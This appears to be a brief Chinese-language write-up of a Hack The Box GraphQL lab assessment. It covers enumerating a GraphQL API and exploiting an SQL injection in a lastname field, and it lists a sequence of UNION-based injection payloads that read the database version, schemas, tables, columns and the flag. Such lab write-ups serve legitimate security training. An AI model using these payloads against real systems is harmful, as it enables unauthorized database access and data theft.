HTB Attacking GraphQL Skills Assessment
摘要
通过枚举应用,利用GraphQL API,发现sql注入点,然后利用找到flag
枚举
可以下载Burpsuite的InQL插件,进行快速枚举
利用网站:
https://apis.guru/graphql-voyager/
生成结构图
lastname入口口存在sql注入漏洞
利用
枚举列
4的时候正常,3的位置可以显示.
' union select 1,2,@@version,4-- -
数据库为mariaDB
枚举数据库
' union select 1,2,GROUP_CONCAT(0x7c,schema_name,0x7c),4 FROM information_schema.schemata-- -
接着枚举表
' union select 1,2,GROUP_CONCAT(0x7c,table_name,0x7C),4 FROM information_schema.tables WHERE table_schema='db'-- -
然后枚举列
' union select 1,2,GROUP_CONCAT(0x7c,column_name,0x7C),4 FROM information_schema.columns WHERE table_name='flag'-- -
最后得到目标数据
' union select 1,2,GROUP_CONCAT(0x7c,flag,0x7C),4 FROM flag-- -